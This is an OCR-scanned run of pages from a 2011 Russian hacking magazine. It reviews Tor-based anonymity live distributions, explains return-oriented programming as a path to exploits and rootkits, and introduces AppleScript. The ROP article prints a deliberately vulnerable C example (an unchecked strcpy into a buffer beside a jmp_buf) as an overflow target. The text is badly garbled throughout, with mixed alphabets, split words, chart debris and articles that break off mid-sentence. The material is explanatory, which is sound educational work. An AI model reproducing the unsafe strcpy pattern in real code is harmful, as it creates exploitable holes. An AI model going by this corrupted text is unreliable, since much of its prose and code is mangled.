
# Используемые алгоритм и режим шифрования ,

размер ключа шифрования и алгоритм хеширования

OTFEC I PHER=aes-хts-рlаiп

ОТFЕКЕУS I ZЕ=2 5 б

ОТFЕНАSН=shа2 5 б

# Имя раздела LVМ

# ( используется утилитой o t fe-res i ze )

OTFEVOLUМE=otfe

В случае обострения параноидальных симпто мов можно заш ифровывать отдел ьные файлы с помощью G n u PG или G PA. кото рые входят в состав дистрибути ва . Во время первой за грузки нас поп росят указать парол ь для заш ифрова нного ви ртуального раздела OTFE. П ри каждой последующей за грузке е го нужно будет вспоми­нать и вводить, иначе система не за грузится. Для доступа в сеть испол ьзуется браузер M idori с уже

� dvd На диске, прилагае­мом к журналу, лежит готовый образ Liberte L iпuх и установоч ные скри пты под L iпuх и Win dows.

� info • В разделе I пstаll на сайте проекта Liberte L inux можно найти ссылку на торрент с образом VirtualВox дистр ибутива.

• Н е которые старые ко мп ьютеры подде ржи вают за грузку только с FAT[ 1 6] разделов USB-устроЙств.

� 095

Page 87: Хакер март 2011

Основное sрlash-лого дистрибутива как бы намекает

настроенным Тог. П ри мечательно, что весь разрешенный трафи к идет через Тог, что искл ючает неп редвиденные утечки информации [нап ример , открытые зап росы к DNS-серверу, несмотря на прокси , или запросы к DНСР-серверу, содержащие реальное имя хоста ] , а остал ьной трафи к п росто блокируется брандмауэром. В этом можно убедиться, набрав « ipta bles - L» под рутом . Пакетн ый фильтр по умол­чанию настроен на блоки рова ние всех входя щих и исходящих па кетов за искл ючением трафи ка DНСР, D N S, NTP и Тог, причем передава­емые по DНСР пара метры максимально уреза ны , а передача имени хоста, ARP и I Pv4LL [ I Pv4 Liпk-Lоса l Аddгеssеs] - блоки руется . Для обеспечения приватности в Wi-Fi сетях МАС-адрес беспро­водного и нте рфейса генери руется случа й н ы м образом с помощью утилиты mac-randomize . Та к ка к для регистрации на некоторыхточ­ках доступа необходим прямой вход браузером , в Li berte предусмот­рена возможн ость отдел ьного за пуска браузера от обособлен ного пол ьзователя , который и меет доступ только к D N S и портам ти повых сер висов web-регистрации . Стоит отметить и нтересный момент при работе с дистрибутивом : есл и внеза пно наступил шухер, то можно просто выдер нуть флешку из порта [и съесть], а ком пьютер через несколько секунд в ы ключ ится сам .

Сборка ИЗ ИСХОДНИКОВ Liberte можно л егко собрать из исходников . Для этого подойдет лю­бой Linux дистри бутив , необязател ьно б ыть пол ьзователе м Gentoo . Во время сборки оказалось, что у меня не уста новлен па кет rsync, поэтому пришлось доуста новить е го и заново запустить п роцесс. Для успешной сборки также необходим naKeT SquashFS Tools 4 . 1 Вся процедура занимает несколько часов на более-менее современном п роцессоре и требует окол о 4 Гб свободного места на ха рде.

Privatix Live-System

Разработка суровых немецкиханонимусов. Эта система основана на Debian и может быть установлена как на СD-, так и на USB-устроЙства. Причем установка на USB происходиттолько из загруженного LiveCD. В дистрибутиве присутствуетудобная графическая утилита для шиф­рования съемных носителей - UsbCryptFormat, а такжеутилита для простого резервного копирования зашифрованныхданных CryptBackup в несколько кликов. Серфинг веба здесь происходит через Firefox и Torbutton. Система весьма требовательна к свободному месту -для установки требуется как минимум 3 Гб.

Простые американцы чтут Вторую поправку к Конституции, согласно которой самый обычный гражданин может противостоять нагло поп и­рающему его права государству, зажав купленную в кредитавтомати­ческую винтовку М- 16 в одной руке и гамбургер в другой. В мире сетей и двоичных кодов неравная расстановка сил в ЭТОЙ милой и наивной фантазии внезапно меняется - даже если вездесущемуоку электрон­ной разведки противостоит простой анонимус втапочках, сжимающий флешкус современными средствами шифрования в одной ладошке и журнал «Хакер» В другой. Именно поэтому Liberte Linux ставит своей целью дать юзерам возможность скрыто и безопасно общаться между собой влюбое время и в любом месте, где есть компьютер с выходом в Сеть. Данная функциональность, являющаяся основной для дистрибу­тива, реализована в версии 201 1 . 1 , которая, видимо, выйдет к моменту публикации статьи. На скриншоте видно, что обмен сообщениями в новой версии проис­ходит через ПРИ8ЫЧНЫЙ интерфейс программы для отправки почты - вданном случае, Claws-Маil.Для анонимусов, предпочитающих удобство общения потаканию паранойе, в релиз включенытакже IRC­клиентХСhаt и IМ-клиент Pidg i n - с настройками, ориентированными на приватность общения. Также включены простые средства создания mр4-видеороликов и аудиоклипов в формате Speex с помощью веб­камеры и микрофона. Конечно, с визуальной точки зрения Liberte уступает более наворочен­ным дистрибутивам, в которых можно включатьтакие свистелки, как Compiz. Но главный упор при разработке LiЬеrtеделается на качество и надежность работы, а также нетребовательностьдистрибутива кже­лезу. Анонимус, знай: отебезаботятся, для тебя делаютсамое лучшее, бесплатно и без СМС.

Maxim Каттегег <mkliJdee.su>, автор дистрибутива.

Uberte Unux 2011.1

DemocraKey LiveCD

Дистрибутив был разработан в ответ на ужесточение цензуры в интерне­те правительствами Китая и США. Весьма интересный проект, который нацелен не столько на анонимность, сколько на сохранность персональ­ных и финансовых данных. Автор этого проектадаже предлагает приоб­рести уже готовую флешку с этим дистрибутивом и радоваться жизни, а также намекает на то, чтобы всезаинтересованные быстрее покупали его изделие, пока оно еще легально на территории США. Кроме всего прочего, в состав дистрибутива входит антивирусный сканер, который может помочь излечить инфицированную винду, расположенную по соседству. Среди стандартного арсенала анонимуса: анонимный веб­серфинг через Тог. шифрование почты и трафика клиента мгновенных сообщений [Pigdin + OTR] .

Х А К Е Р 0 3 / 1 46/ 2 0 1 1

Page 88: Хакер март 2011

r � New'fclb Back Fo�",rd

Congratulations. Your browser is configured to use Tor.

Please refer to the � (ог IUrther information about using Тог safety. Уou аге now free to browse the Intemet anonymously.

Addition.1. in1or.trtion: Your IP iIIddrl!$'5 8ppe8r5 to bl!"'::;.;�6o= __

Тhis s8.H '5cript i5 re.

bin COMg info persist

Поздравляем! Твой браузер уже сконфигурирован Локаль дистрибутива легко поддается изменению (по умолчанию - английская)

П роцесс сборки вы глядит следующи м образом : 1. С качиваем исходники (рекомендуется скачи вать из svn , тогда вероятность возникновения п роблем при сборке меньше] : svn с о https : / / l ibert e . svn . source f orge . ne t /

svnroot / l iberte/ trunk / l iberte l iberte

2. За пускаем сборку в папке /tmp/livecd : l iberte- 2 0 1 0 . 1 - src/bu i ld / tmp / l ivecd

Есл и по какой-то причине невозможно скачать исходн и­ки из svn , то их можно взять с сервера sourceforge.net :

$ wget https : / /downloads . sourceforge . net/

proj ect / l iberte / 2 0 1 0 . 1 / 1 iberte- 2 0 1 0 . 1 - src .

tar . bz2

$ tar xj f l iberte - 2 0 1 0 . 1 - src . tar . bz2

$ mv l iberte- 2 0 1 X . Y- src l iberte

В скрипте bu i ld поддерживается пара метр fresh , который используется для новой сборки дистрибутива. На основе исходников Liberte Linux можно собрать собс­твенный LiveUSB-дистрибутив. С писок пакетов находится в файле src/var/libIportage/world - при верженцы более «человечных» окружений рабочего стола (или, наоборот, более суровых тайловых менеджеров окон] могутуста-

The (Amnesic) Incognito Live System

Этот проект стал преемникомдистрибутива Incognito LiveCO после того, как автор объявил об окончании разра­ботки. Но, в отличие от Incognito LiveCO, этот дистрибутив можетбытьзаписан как на СО-диск, так и на флешку. Создатели гарантируют, что, во-первых, все соединения с Сетью принудительна происходят через Тог. а во-вторых, при работе не остается никаких следов на локальных носителях. В качестве окружения рабочего стола используется GNOME, а в комплекте идет несметное количество GТК-программ (Firefox, ОрепОffiсе, Pigdin с плагином для безопасной передачи сообщений OTR и такдалее) -всего около 2 Гб софтаl Благодаря тому, что система рас­пространяется втом числе и как образ iso, еелегко можно запустить на виртуальной машине типа ViгtualBox.

ХАКЕР ОЗ /146/ 2 0 1 1

навить ихтуда, а также измен ить набор интересующего софта. Потребуется просто добавить в конфиг строчку С

нужн ым назван ием. Точ ное название приложений можно подсмотреть в дереве портежей по адресу gentoo-portage. com/browse. Все пользовательские настройки находятся B /home/anon/ и, чтобы лишний раз не мучиться с их допи­ливанием, можно п росто скопи ровать нужные конфигура­ционные файлы из своей домашней директории (есл и , ко­нечно, ты являешься счастливым пользователем линукса). С истемные настройки, как и полагается, находятся в /etc.

Есть куда стремиться Тог позволяет клиентам и серверам предоставлять скрытые сервисы. То есть можно запустить веб-сервер, SSH -сервер и такдалее, не раскрывая свой I P-аАрес пользователям. И , поскольку при этом не используется ника кой публ ич­ный адрес, можно запустить скрытый сервис, находясь за фаЙерволом. По задумке автора, в процессе первой загруз­ки на основе слепка сертификата и сервисного ключа сети Тог будет генери роваться уни кальный e-mail пользователя, который в последующем можно будет использовать для связи с другим и пользователями дистрибутива Libeгte через скрытые сервисы Тог. В текущем релизе (20 1 0 . 1 на момент написания статьи] да н ная возможность пока не доведена до кондиции, хотя она заявлена как ключевая. В Liberte Linux пока нет поддержки набирающей популяр­ность сети 12Р (также известной под названием « П роект Невидимый Интернет»] - анонимной, самоорганизующей­ся распределенной сети, которая использует модифициро­ванный ОНТ Kademlia, но отличается тем, что хранит в себе хешированные адреса узлов сети, зашифрованные AES I P-аАреса, а также публичные ключи шифрования , причем соединения по Network dаtаЬаsе тоже зашифрованы. Автор дистрибутива открыт для новых идей . Если у тебя есть предложения по развитию проекта , то их можно отсылать на адрес mk!adee.su .

Заключение Тенденция к ужесточению и нтернет-цензуры в бл ижай­ш и е годы будет сохраняться , поэтому готовым к этому надо быть уже сеЙчас. Несмотря на мое н е п риятие пол и ­т и к и M S в цел ом , с одн и м высказ ыванием Б илла Гейтса все же хочется согласиться : свобода слова в С ети рано ил и поздно победит . . . ::х::

� waгn i ng Не стоит забы вать, что анонимность, как и все в нашем мире, не бывает абсолютно й . Поэтому ответстве нн ость за совершенные действия рано или поздно может придти l

� l i n k s • dee.su/li be rte -сайт проекта Liberte L inux ; • amnesia .boum.org -сайт проекта Т(А) I LS ; • mапdа lkа .паmе/ privatix - сайт проекта Privatix Live­System; • sou rceforge. net/ prolects/democra key - стра ничка проекта Oemokra Key; • i2p2.de/in-tro ru . html - сайт п роекта « Невидимый И нте рнет» ;

� 097

Page 89: Хакер март 2011

RETURN-ORIENTED ROOTKITS НАСТУПАЮТ! Проблемы ОС'ей на нынешнем 3Jane сtроительства гражданского оDщества

С) у разработчиков современных операционных систем появилась постоянная головная боль. Как защитить ядро системы от бездумных действий юзера, которому невдомек, что любая запускаемая в системе про грамма несет в себе потенциальную опасность и может лихо скомпрометировать всю имеющуюся систему защиты?

Механизмы за�иты целостности ядра

ность И защи1)' ядра от посягательств извне. Основная идея, лежащая в основе таких механизмов, заключается в том, что ядро должно быть

Одна из концепций , которая позволяет поддерживать механизм защи- защищено от и нжекта кода руткитами из пользовательского режи ма. ты ядра, называется « монитор обращений» . Монитор контролирует Одна из самых распростра ненных идей , которые были реал изо-и разгра ничивает дос1)'П к ресурсам системы. В последнее время ваны в этом нап равлении , - это цифровая подп ись модулей ядра появилось несколько механизмов, позволяющих обеспечить цел ост- IXOTb она раньше и была н еоднократно скомпрометирована ! . Если

ХАКЕР 0 3 1 1 46/ 201 1

Page 90: Хакер март 2011

о о о о

� о с: о QJ О :::J Ф ст �

LL О О О N

О

00 1 f Зf 5f 7f 9f bf df БllБЛllотека LIBC: частота встречаеldОСТII байт после "НСТРYI<ЦIIII OxFF (косвенный переход).

ПIIIОI ПРIIХОДЯТСЯ на I'НСТРYl<ЦlIII Ох8В 11 Ох89, KOTOI)bIe являются опкодш.ш I'НСТРYl<ЦlIII MOV

Частота встречаемости байт после инструкции косвенного перехода

в операционной системе включена такая опция , то каждый модул ь, загружаемый в ядро, должен содержать в себе вал идную цифровую подп ись, которая , в свою очередь, должна б ыть п роверена и за гружена в корне­вой каталог сертиф и кации [гоо! сегt i fiсаti оп authority, СА] . Есл и такая проверка н е пройдет, то модул ь, соот­ветственно, не будет за гружен . Напомню , что подобную методику впервые внедрила в свои операционные системы M icrosoft , начиная с Windows ХР . Вместе с тем , безопасность такого подхода всего л и ш ь опирается на предположение , что само ядро и все за груженные модули [драйверы] н е содержат уязви мостей , которые позволят выполнить н еподп исанный код и та ким обра­зом скомп рометировать систему. Что же делать? Был разработан другой метод, направленный на предот­вращение эксплуатации потенциальных уязвимостей программного обеспечения во время выполнения . Уверен, что ты слы шал об этом подходе, который в первую очередь касается виртуальных адресов: страница памя­ти не может быть одновременно доступной на запись и выполнение кода [говоря кодерским языком, стран ице памяти не могут быть установлены атрибуты WRITABLE I EXECUTABLE]. Данная техника была впервые внедрена в ОрепВSD 3.3, а позже похожие системы защиты появи­л ись и в других ОС - например, РаХ и ExecShield в Liпuх. В семействе ОС Windows эта система защиты более известна как Data Ехесutiоп Ргеvепtiоп [ОЕР] , которая была впервые реализована в Windows ХР SP 2 и Windows Server 2003. DЕР реализуется на аппаратном и программном уровне. Начиная с па кета обновления 2 [SP2] для Windows ХР 32-разрядная версия Windows испол ьзует один из сле­дующих методов : фун кцию по-ехесutе раgе-ргоtесtiоп [NX] , разработан ную компа нией АМD, и фун кцию Execute Disable B it [ХD] , разработанную ком панией I пtеl. Основным преи муществом, которое обеспечивает функция DЕР, является возможность предотвратить запуск кода из областей данных [таких как куча , стек или пул памяти] . Подробнее о технологии и возможностях DЕР можно проч итать здесь: suggort. m icrosoft .com/ kbI875352/ru. На этом программистские умы не успокоились, и была изобретена технология, которая позволяла поддерживать целостность ядра в режиме выполнения. Она получила название « тетогу shаdоwiпg». Эта технология реали­зована как монитор виртуальной машины , которая под­держивает раздельно существующие так называемые

ХАКЕР 03 1 1 46/ 20 1 1

« регионы теневой памяти». Теневая память недоступна для гостевой учетной записи VM и содержит только копии некоторых участков основной памяти гостевой учетной записи. Новый исполня ющийся код [то есть код, который исполняется в первый раз] аутентифици руется в системе путем сравнения значений простого кри птографического хеша и только затем копируется в теневой участок памяти. Так ка к монитор виртуальной памяти в данной модели является доверенным по умолчанию, то это гарантирует невозможность неавторизованных модификаций в тене­вой памяти. Таким образом , код, запускающийся из-под гостевой записи, никогда не сможет получить доступа к

привилегированной теневой памяти. В настоящее время технологию теневой памяти поддерживают wiп-системы начиная с Wiп2k и ядра Liпuх начиная с 2.4. Кроме того, эта технология реализована в виртуальных машинах QEMU , VMware и VirtualBox.

ВозвраТНО-Qриентированное программирование Уф, сам не знаю, что это такое, но судя по всему - тер­моядерная штука. В самом ближайшем будущем ждите на экранах планеты руткиты, которые в своей основе будут испол ьзовать фичи возвратно-ориентированного кодинга [ВОК] . ВОК позволяет ата кующему эксплуатиро­вать ошибки па мяти в таргет-програ ммах [как правило, уязвимости типа перепол нения буфера и тому подобное] без фактического инжекта кода в адресное пространство этой программы . Не дошло? Повторю. Раньше для того, чтобы заэкплойтить про грамму/систему, нужно было искать в установленных программах ошибки, благодаря которым можно переписать адрес возврата из фун кции на нужный адрес и таким образом получить контроль над программой. Но найти такие случаи - большая редкость. Так вот, теперь этого делать не нужно. В атаке на систему злоумышленник должен организовать короткие последо­вательности инструкций процессора в целевой програм­ме. Через выбор этих последовательностей злоумышлен­ник окажется в состоянии обеспечить нужное поведение целевой программы . Обычно последовательность дей­ствий выбирается таким образом, чтобы каждое действие оканчивалось инструкцией п роцессора геtuгп[ _asm ге! ], что [при условии контроля за стеком] позволит злоу­мышленнику контроли ровать ход выполнения программы. Кстати , именно по имени и нструкци и процессора - геtuгп - эта техника программирования и получила название возвратно-ориентированной.

ff

� dvd На диске ты найдешь книгу К. Касперски «Техника сетевых ата к», в кото рой очень подробно разжевы вается тех­ника переполнения буфера, а также книгу « 1 9 смертных грехов , угрожа ющих безо­пасности п рогра мм» Майкла Ховарда, проч итать которую я рекоме ндую каждому кодеру.

� 099

Page 91: Хакер март 2011

в Powered On E/) XPSP2 EI .. Favorites E/) XPSP2

di> . · Cj Шi1 0 W 8 � 1i) 1f-')

А сколько У тебя установлено виртуальных машин?

Организационный блок инструкций в ВОП называется гаджетом и содержит в себе последовательность команд, адресов и данных, кото­рые при за пуске заставляют п рограмму вести себя вполне п рогнози­руемым и нужным злоумышленнику образом. И нструкция ret обладает двумя особе нностями . Во-первых, ей нужно выделить 4 ба йта на вершине стека и присвоить указа­телю инструкции EIP это значение . Во-втор ых , она увелич ива-ет указатель стека ESP на 4 та ким образом, что вершина стека будет я вляться новым словом 12 ба йта) над тем словом , которому раньше был оп ределен E I P. Эти особенности и используются для изменения последовател ьности инструкций , та к как каждая после­довательность может быть записана в стек. Когда исполняется посл едовательность команд, достигается испол нение инструкци и ret, которая их заканчива ет и обеспечи вает п ереход к дальнейшей последовател ьности команд. Тут обязательно стоит упомянуть, что присутствие инструкции геtuгп в гаджете вовсе не обязател ьно. Тот, кто мало-мальски разбирается в ASM'e и умеет на нем кодить, знает, что геtuгп-подобной инструк­цией является вы ражение вида РОР ЕАХ; J M P ЕАХ. Здесь, в отличие от вышеуказанных особенностей команды ret, достаточно только переписать регистр ЕАХ и глупый п роцессор безмятежно прыгнет по указанному нами адресу. При этом геtuгп-подобные инструкции не ограничива ются только этим вариантом - при желании вариации на тему можно сильно разнообразить. И нтересно, а какова ве роятность встретить команду ret или иные геtuгп-подоб ные команды в ста ндартной программе? Очень вел и ­ка . На х86-машинах команда возврата ret занима ет один ба йт !с3) и теоретически будет встречаться с частотой 1 /256. Хотя на самом деле - гораздо чаще, потому что среднестатистические 'то есть, все за конные) програ ммы всегда будут испол ьзовать эту инструк­цию, та к что встретить ее в потоке байт будет несложно. Вместе с тем непрямые переходы с испол ьзова нием регистров занимают два ба йта, и поэтому вероятность встретить их в п рогра мме будет гораздо н иже.

� 1 00

Pro & Cons Возвратно-ориентированное программирование, как ты уже понял, является реальной альтернативой инжекту кода и захвату системы. Сейчас мы рассмотрим четыре вида ошибок памяти, которые на руку злоумышленнику и могут быть применены для использования всех прелестей ВОП. При всем при этом, ата кующему еще нужно будет позаботиться о возможности контроли рования стека Iрегистры E IP и ESP), а также решить вопрос размещения кода гаджета в памяти.

Ошибка #1: Переполнение буфера Ну что тут сказать? Если ты не знаешь, что это такое, то вообще уди­вительно, каким образом ты дочитал статью до этого места J Для устранения п робелов в образовании могу лишь посоветовать почи­тать К. Касперски, он тему переполнения буфера распилил от и до. Суть переполнения буфера закл ючается в появлении возможности переписать указател ь следующей и нструкци и EIP в стеке какой-либо фун кции и таким образом получить контроль над ее выполнением. При реализации атаки ВОП это будет первая инструкция в гаджете, который будет выложен в стек. При этом указатель стека ESP будет указывать на следующее слово в стеке, которое также находится под контролем злоумышленника . Для того, чтобы воспользоваться пере­полнением буфера при реализации ВОП, злоумышленник должен переписать кадры стека таким образом, чтобы избежать изменения любых сохраненных значений E IP.

Ошибка #2: nepeзaпись указателя vtable в С++ Опытные разработчи ки С++ знают, что можно контрол ировать память путем манипуляций с объектам и виртуальных таблиц Ivtable) В нашем случае, если появилась возможность контролировать vtable, то поче­му бы не переписать его так, чтобы он указывал на подконтрольный регион памяти? В зависимости от кода , который компилятор создает для виртуального вызова метода, наша последовательность команд будет эксплойтить один или несколько регистров, которые использу-

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 92: Хакер март 2011

• ПОЯВIIЛIIСЬ ПI)III.lеl)Ы BO lbpalHO-0IшеН1"I)ованноrо KOAIIHra ПОД apxllleкtypy SPARК

• ПоявлеНllе ,еХНIIЮI "Эallмс,вованных кусков кода" о, Себас,ьяна К\)аме\)(1

• ПеРВЫII червь, KOIOPbIlI IIсполыовал пеl)еполнеНllе (CodeRed). буфеl)а

• Пеl)ВЫII эксплош ''во IBpala в бllбЛIIОlеку" 01 Solar Designer

• ПоявлеНllе первых сообщеНlII1 О пеl)еполнеНIIЯХ буфеl)а на Bllgtrak'e

1 970 I I I I

C\I 1 980 1'-cn .,....

• Первая nyБЛllкаЦlIЯ О пеl)еполнеНIIII буфеl)а

1 990 I I I

со со O'J .,....

1

Ll) э; с; Ll) cn о cn O'J о о .,.... .,.... (\J C\I

I I I I <о 2000 O'J O'J .,....

• Пеl)Вая ЭПlщеl.IIIЯ в I IHlepHele - появлеНllе .. ··Iервя MOI)pIICa"

Небольшой экскурс в историю

ются vtable и указывают на объект. виртуальную таблицу или сразу на них обоих. Злоумышлен ник должен просто использовать такие указатели для изменения указателя стека. Справедливости ради отмечу, что потенциальная возможность испол ьзовать виртуальные табл ицы для перезаписи указателя зависит от версии комп илятора и флагов. Посему гаджет ВОП легко окажется в пролете, ибо способ изменения vtable, оказывается, ненадежен .

Ошибка #3: перезапись указателя на функцию Как и в случае с перезаписью vtable, перезапись указателя на функцию не является достаточно надежным методом и серьезно ограничивает возможности злоумышленника. Во-первых, дело в стеке, который использует эта функция и который гаджету придется как-то перемещать. В той же последовательности инструкций гаджет должен реализовать вторую последовательность для выполнения кода. В общем, пока такая возможность существует только теоретически.

0u.J.tбкa #4: �� буфера функции �.,,--И вот благочестивый Linux неожиданно оказался под уда­ром. Виной всему - функции setJmp и lопgjmр , которые реализуют нелокальные переходы 9oto. Кошмарные, на мой взгляд, функции - с точки зрения не только системного кодин га , но и кодинга вообще . . При вызове функции setjmp программа выделяет место в структуре jmp_buf, которая хранит значения регистров ЕВХ, EDI , ESI, ЕВР, ESP и EI P. Здорово, правда? В сохра­ненный в буфере указатель инструкций E IP с помощью инструкции CALL записывается текущее значение, а также сохраняется значение ESP. При выходе из setjmp в регистре ЕАХ будет хранится нул ь. Позднее вызывается функция lопgjmр . Эта фун кция восстанавливает прежнее значение основных регистров, заносит в регистр ЕАХ вто­рой аргумент, переданный функции lОП9Jmр , устанавлива­ет регистр ESP и прыгает по этому адресу.

ХАКЕР 03 / 1 46/ 20 1 1

При мер использования функций setjmp/longjmp

s t ruct foo

) ;

char buf fer [ 1 6 0 ] ;

j mp_buf j b ;

int main ( int argc , char * * argv )

s t ruct foo * f = mal loc ( s i zeof ( * f ) ) ;

i f ( setjmp ( f - > j b )

return О ;

strcpy ( f - >bu f f e r , argv [ l ] ) ;

long j mp ( f - > j b , 1 ) ;

Обрати внимание на строку strcpy( f-> buffer, a rgv( l ] ] . По-моему, ее даже пояснять не нужно. И пусть * п iх­кодеры теперь решат для себя, стоит ли использовать эти функции в своих программах : 1 .

Заключение Ита к, что мы получ и л и ? Н а мой взгляд, ВОП я вляет­ся кра й н е ко варной вещью для обеспечения общей безопасн ости систе м ы . Ведь сто ит злоум ы ш л е н н и ку про патч ить ядро, ка ко й - н и будь драйвер , систем-ный файл - и все ! Для этого даже н е нужно искать способы н ел е гального внедрения в нулевое кол ьцо, чтобы поставить с и стему на колен и . Все оказывается гораздо п роще. И ведь уже существуют п ра ктические на работки, кото рые реал изуют воз можн ость контро­л и ровать си стему, испол ьзуя вы шеописанные методы В О П Возвратно-ориентированный кодинг - чрезвычайно интересная и практически не изученная тема. П ростора для фантазии - море, возможностей для исследова ния - как снега в Сибири, и трудолюбивому кодеру эту тему копать - не пере копать. Удачного компилирования и да пребудет с тобой Сил а l I

со о о 201 0 C\I

I I 1'- O'J о о О О (\J C\I

� l i n k s Ка к показы вает моя практика , для айтиш­ника , занятого вопро­са ми безопасности комп ьютерных систем, наиболее значимыми оказываются вовсе не официальные са йты ка ких-либо системных контор (хотя MSDN это не касается] . Самые цен н ые круп ицы ин­формации соби ра ются на блогах а ктив истов андеграунда, кода­копателей и прочих. В качестве при мера назову pecypcbI .b..lQR th reatexRert .com и a lex- iопеSСU .соm .

� 1 0 1

Page 93: Хакер март 2011

СКРИПТИНГ Я МАС ОS Х

Начинаем программировать на AppieScript с) Из этой статьи ты узнаешь, что такое AppieScr ipt , зачем и кому он нужен , как можно автоматизировать чужие приложения и добавлять возможность автоматизации в свои .

Автоматизируй это папке /Ар рl iсаt iоп/Аррlе5сгiрt . Для начала напишем п ростой Часто встречаются такие задачи , для решения которых делать отдель- « Н еllоWогld ' н ы й » скри пт. ный проект на компилируемом языке нерационально, Например, когда нужно быстро слепить на коленке код, который должен просто выполнять конкретную работу - без всяких GU I -украшений, обработ­ки всевозможных исключ ительных ситуаций, опти мизации и прочего. Здесь на помощь и приходят языки сценариев - известные тебе shell, Perl, РНР и так далее, Все они 'ну или почти всеl доступны и под Мас 05 х. Но в этой операционке в дополнение к общепринятым скри птовым языкам есть и специал ьный язык сценариев, ориентиро­ванный именно на Мас 05 Х и тесно с ней связанный. Это Apple5cript. Apple5cript идет вместе с системой начиная с 5ystem 7 , Вы росши й и з п роекта HyperCard I который содержал скри птовый язык HyperTalk , очень похожий на естественный английский l , Apple5cript первоначально создавался для того, чтобы обеспеч ить обмен дан­ными между задачами , а также для управления работой сторонних приложений , Сам по себе Apple5cript обладает довольно скромной функциональностью: на этом языке даже сценарии для выполнения сравнительно простых задач часто выглядят как обращение к другим приложениям , Впрочем, п осле существенной перестройки системы при переходе к л и нейке Мас 05 Х язык Apple5cript стал боле гиб­ким и мощным, а новый фреймворк Сосоа позвол ил разработч и ка м встраивать в с в о и приложения возможность автоматизации с помо­щью Apple5cript'a с м и ни мальны м и усилиями ,

Простой сценарий Дл я редакти рова ния и исполнения скри птов мы будем ис пользовать ста ндартн ый 5cr ipt Ed i tor. Найти е го можно в

� 1 02

display alert " He l l o World ! " # Покажем диалог

say " He l l o World" # Вывод в колонки

Объяснять тут, думаю, ничего не нужно, но хочется отметить крайне простой доступ к синтезатору речи из Apple5cript с помощью команды say. Вот это и есть настоящее общение с пользователем в стиле Apple J Конечно же, этот диалог можно легко кастомизировать. Например, добавить нужные кноп ки :

Панель с дополнительными кнопками

display alert " Hello World ! " buttons { " Hel lo " , " Вуе " }

set answer to button returned of the result

if answer is " He l l o " then

else

end i f

Теперь напишем что-нибудь более полезное. Например , дадим поль­зователю выбрать файл и п рочитаем его содержимое:

# Панель выбора файла

set theFile to ( choose f i l e with prompt

" Select а f i l e to read : " o f type ( " ТЕХТ " } )

ореп for access theFile

Х А К Е Р 03 / 1 46/ 2 0 1 1

Page 94: Хакер март 2011

8 0 6 .. St.иtd.&td SUitt' " JТUIМ:S Suitt

.. o.HtS. .<Id tшk tr.l.сk (orwtft ' .. st (�,d nut troк .... рмо .. pbv 1»11>''''' rtwrnt (Mnd �"f<h "ОР Iфdotc

.. Imtt!'Ж S"i't

..fi:l.lТunt$.l.sdktio�ry nш,·rrt· ('оп�'(п ОМ Q[ lDQf( 61(1 ос Imckc convert . 11<1 о, rcte,�(e -- th� fi�$)lrriЮ<$($) 10 conVl!ft

Re>uh: troКk -- гe'�ence /0 conVl!fted /fl>d« S) (1# rOOtard; жiо (ot»jКd jo i1 QI,yj(tc 100 t ... t t_"rd ntх1 'М" зdxanrr '9'Ьс: та' 'оо jn 'ьс "'[КОI о'QЮis next tradl раuз- 1blU"' p!Q)'bgck

pIIuse

."; plAY 111< сип'М 100 or ,ьс юcciбcd !rJ!:k ОС 6k ре.у re(e<f<I<:e -- lIеm 10"юу R1a..,ращс" ИМ:Gk Фс otO)inglP:MHgt ЯЗI' gf Ibс суто' ШК'k • pe .. ypaUM h.

Функциональность, которую iТunes экспортирует в AppleScript

# Читаем контент

set f i 1eContents to ( read theF i 1 e )

c 10se access theFi1e

l'

На этих при мерах хорошо видна основная идея AppleScript - он очень близок к живому английскому языку, Поэтому читать скрипты легко даже для человека , далекого от кодинга , Каждая команда­гла гол может быть дополнена существител ьными-модификаторами и параметрами ,

Взаимодействие с приложениями Для взаи модействия с други ми приложениями AppleScгipt использует механизм сообщени й :

t e 1 1 app1 ication " Microsoft Word "

quit

end tell

С помощью команды tel l выби раем приложение , которому мы будем отправлять сообщение, В да н ном случае мы просим MS Word завер­шиться, В блоке « tell - end tell» может быть отправлено любое коли­чество команд. Сообщения , которые отсылаются приложению, могут быть и более специфичными. Все зависит от того, ка кие команды реа­лизовали его разработч и ки , iT unes, например, экспортирует довольно много команд и свойств в среду AppleScript:

Запускаем нужный плейлист в iTunes

te11 app l i cation " iTunes "

р1ау the p1ay 1 i s t named "Му Favor i t e "

end t e l l

Узнать набор сообщений и типов данных, которые приложение экс­портирует в среду AppleScript, можно, посмотрев его терми нологию [файл AppName,scriptRerminology в ресурсах п риложенияl . Для этого в Script Editor'e пойдем в меню «File -7 Ореп Dictionary -7 " , » , и выбе­рем нужное приложение, Чтобы тебе было п роще работать с классами и командами, которые экспортирует приложение, они организованы в раздел ы, Все п рило­жения , которые поддерживают скриптинг, имеют хотя бы два раздела : один стандартн ый и один из более специфичных для данного при­ложения разделов. Стандартн ый раздел содержит набор стандартных команд, которые поддерживает любое Мас-приложение : ореп, print , close и qu it, Содержа ние остальных разделов зависит от фантазии разработчиков.

Выполнение AppleScript из своего приложения Если ты пишешь приложение на Objective-C/Cocoa, то возможно, что некоторые вещи будет удобнее сделать с помощью AppleScript, Для

ХАКЕР 03 / 1 46/ 2 0 1 1

Hello world

Наш скрипт в Script Editor

создания и выполнения в Сосоа-приложениях скриптов существует класс NSAppleScript, Вот простой при мер его использования - реа­л изация получения у приложения iChat строки статуса пользователя ,

NSApp1eScript * iChatGetStatusScript = ni 1 ;

iChatGetStatusScript = [ [NSApp1eScript а 1 1ос ]

initWithSource :

@ " tell appl ication \ " iChat \ "

to get status message " ] ;

NSString * statusString =

[ [ iChatGetStatusScript

executeAndReturnError : &errorDic t ] stringVa1ue ] ;

Возможно, то же самое можно сделать и другим путем, не используя созданный во время выполнения скри пт, но вряд ли альтернативный код будет выглядеть проще, чем этот, Есл и скрипты большие , можно хранить их в ресурсах бандла и читать при необходимости.

